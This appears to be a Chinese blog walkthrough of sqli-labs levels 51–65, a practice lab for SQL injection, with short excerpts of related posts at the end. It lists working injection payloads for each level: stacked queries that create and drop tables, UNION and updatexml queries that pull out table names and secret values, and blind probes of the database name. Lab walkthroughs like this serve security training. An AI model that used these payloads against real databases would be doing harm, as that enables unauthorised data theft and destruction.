sqli labs通關教程 51 65關

2022-01-10 13:22:12 字數 2293 閱讀 9470

看原始碼還是mysqli_multi_query函式,也就還是堆疊注入,和前一關沒什麼區別就是變成字元型了

建立less51表

?sort=1';create table less51 like users;--+
這關和五十關一樣,就是不報錯了。

建立less51表

?sort=1;create table less52 like users
刪除less52表

?sort=1;drop table less52
和五十二關一樣,閉合變成'

這關開始就變成了挑戰了,正常的注入套路,有十次機會,用完就重置表名和資料。

爆欄位列數

?id=1' order by 3--+
爆資料庫名

?id=-1' union select 1,2,database() --+
爆表名

?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+
爆列名

?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='wrocxk0l78' --+
爆內容

?id=-1' union select 1,group_concat(sessid),group_concat(secret_hw0g) from  wrocxk0l78 --+
和五十四關一樣,閉合變成()

測試

and (1)=(1) --+
和五十四關一樣,閉合變成('')

') and ('1')=('1') --+
和五十四關一樣,閉合變成""

" and "1"="1" --+
這關用union select查詢沒回顯位,所以用報錯。

' and updatexml(1,concat(0x7e,database()),0) --+
爆表名

?id=1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='challenges' limit 0,1)),0) --+
剩下步驟看之前關卡

和五十八關一樣,沒有閉合符。

爆列名

?id=1 and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='j9sdnevh3v' limit 0,1)),0) --+
和五十八關一樣,就是閉合變成("")

爆列名

") and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='challenges' limit 0,1)),0) --+
和五十八關一樣,就是閉合變成((''))

爆列名

')) and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='challenges' limit 0,1)),0) --+
這關開始報錯和聯合查詢都不行了,那就盲注

跑資料庫名長度

?id=1 ')and (length(database())=10)--+
猜庫名

?id=1 ')and ascii(substr(database(),1,1))=99 --+
之後可以用指令碼跑

和六十二關一樣,就是閉合變成單引號閉合

和六十二關一樣,就是閉合變成括號閉合

和六十二關一樣,就是閉合變成("")

**完成****

Sqli LABS通關筆錄 2

在這個關卡學習到了 1.程式的錯誤不是學校收費亂來的,單引號的錯誤和減號的錯誤要明白 單引號報錯。用第一關的payload嘗試了下。來看看原始碼 那麼我們構造的sql也就變成了 sql select from users where id 1 or 1 1 limit 0,1 如此一來id 1 就不...

Sqli LABS通關筆錄 4

這一關卡讓我學習到了 1.管他如何,想方設法先讓sql報錯再說。從報錯中構造sql注入語句。2.單引號不行就來雙引號。括號等等的。這次單引號沒反應了。以後我們先來黑盒測試,實在沒轍再看 1有反應但是沒資料 想辦法把他弄報錯。正在掙扎之際。成功了。不下心看了一下原始碼的。否則還真不好搞。測試了很多方法...

Sqli LABS通關筆錄 1

在第乙個關卡當中還是學到些知識。1.注釋語句多試試其他的幾個 2.不報錯可能是前面的語句沒有錯誤,union沒有得到執行。加單引號報錯了。從上面的錯誤提示當中,我們可以看到提交到sql中的1 在經過sql語句構造後形成 1 limit 0,1,多加了乙個 接下來想如何將多餘的 去掉 可以借鑑一下原始...